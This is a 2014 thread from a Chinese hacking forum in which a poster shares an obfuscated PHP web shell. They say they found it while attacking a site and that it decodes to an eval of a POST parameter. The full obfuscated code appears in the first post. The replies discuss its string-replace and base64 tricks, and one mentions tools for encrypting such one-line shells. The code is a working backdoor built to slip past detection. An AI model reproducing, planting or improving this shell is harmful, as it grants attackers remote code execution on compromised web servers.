查看: 37871|回复: 6

Weevely 一句话php

[复制链接]

该用户从未签到

发表于 2014-5-28 17:39:29 | 显示全部楼层 |阅读模式
某次日站的时候看到的,不明觉厉。
下载之后  本地运行  一步步  echo
最终结果:@eval($_POST['khrwf2']);
很牛逼的样子啊。。。。分享一下吧
<?php
$brja5="VDFOVVd5";$crgy1="UUdWMllX";$nhqn8="d29KRjlR";$mbah6="ZHJhSEozWmpJblhTazc=";
$khrw2 = str_replace("hm1","","hm1shm1thm1rhm1_rhm1ehm1plhm1ahm1ce");
$rjhr5 = $khrw2("su3", "", "su3basu3ssu3e6su34su3_su3dsu3esu3csu3osu3dsu3e");
$gmnu6 = $khrw2("klg8","","klg8cklg8reklg8atklg8eklg8_fklg8uncklg8tklg8ioklg8n");
$xdyw8 = $gmnu6('', $rjhr5($rjhr5($khrw2("#;*,.", "", $crgy1.$nhqn8.$brja5.$mbah6)))); $xdyw8();
?>
回复

使用道具 举报

  • TA的每日心情
    无聊
    2016-12-21 22:59
  • 签到天数: 73 天

    [LV.6]常住居民II

    发表于 2014-5-28 23:29:25 | 显示全部楼层
    虽然很乱,最主要还是str_replace这个函数吧。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-5-28 10:00
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2014-5-29 08:49:43 | 显示全部楼层
    最后为什么要调用create_function,直接运行不行么?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-6-22 13:45
  • 签到天数: 44 天

    [LV.5]常住居民I

    发表于 2014-5-29 12:45:43 | 显示全部楼层
    加密的?        
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-5-29 13:07:02 | 显示全部楼层
    支持一下。
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-5-29 19:38:25 | 显示全部楼层
    没解析出源代码
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-8-22 21:23
  • 签到天数: 15 天

    [LV.4]偶尔看看III

    发表于 2014-5-30 00:24:21 | 显示全部楼层
    网上有大牛分离出weevley 的加密程序了,可以用来加密一句话
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-23 19:30 , Processed in 0.023552 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部